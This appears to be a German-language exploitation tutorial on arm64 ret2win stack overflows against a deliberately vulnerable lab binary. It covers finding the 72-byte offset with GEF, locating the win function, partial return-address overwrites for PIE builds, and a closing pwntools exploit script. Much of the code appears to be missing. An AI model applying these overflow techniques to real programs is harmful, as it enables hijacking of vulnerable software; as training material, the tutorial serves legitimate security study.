Ret2win - arm64
Ret2win - arm64
Finden Sie eine Einführung in arm64 in:
Introduction to ARM64v8Code
Kompilieren ohne pie und canary:
Finden des Offsets
Musteroption
Dieses Beispiel wurde mit GEF erstellt:
Starte gdb mit gef, erstelle ein Muster und verwende es:
arm64 wird versuchen, zur Adresse im Register x30 (das kompromittiert wurde) zurückzukehren. Wir können das verwenden, um den Muster-Offset zu finden:
Der Offset beträgt 72 (9x48).
Stack-Offset-Option
Beginnen Sie damit, die Stack-Adresse zu erhalten, an der das pc-Register gespeichert ist:
Setzen Sie nun einen Haltepunkt nach dem read()
und fahren Sie fort, bis das read()
ausgeführt wird, und setzen Sie ein Muster wie 13371337:
Finde heraus, wo dieses Muster im Speicher gespeichert ist:
Dann: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
Kein PIE
Regulär
Hole dir die Adresse der win
Funktion:
Exploit:
Off-by-1
Tatsächlich wird dies eher wie ein Off-by-2 im gespeicherten PC im Stack sein. Anstatt die gesamte Rücksprungadresse zu überschreiben, werden wir nur die letzten 2 Bytes mit 0x06c4
überschreiben.
Ein weiteres Off-by-One-Beispiel in ARM64 finden Sie unter https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, das ein echtes Off-by-one in einer fiktiven Schwachstelle ist.
Mit PIE
Kompilieren Sie die Binärdatei ohne das Argument -no-pie
Off-by-2
Ohne einen Leak kennen wir die genaue Adresse der Gewinnfunktion nicht, aber wir können den Offset der Funktion von der Binärdatei kennen und wissen, dass die Rücksprungadresse, die wir überschreiben, bereits auf eine nahe Adresse zeigt. Es ist möglich, den Offset zur Gewinnfunktion (0x7d4) in diesem Fall zu leaken und einfach diesen Offset zu verwenden:
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
Last updated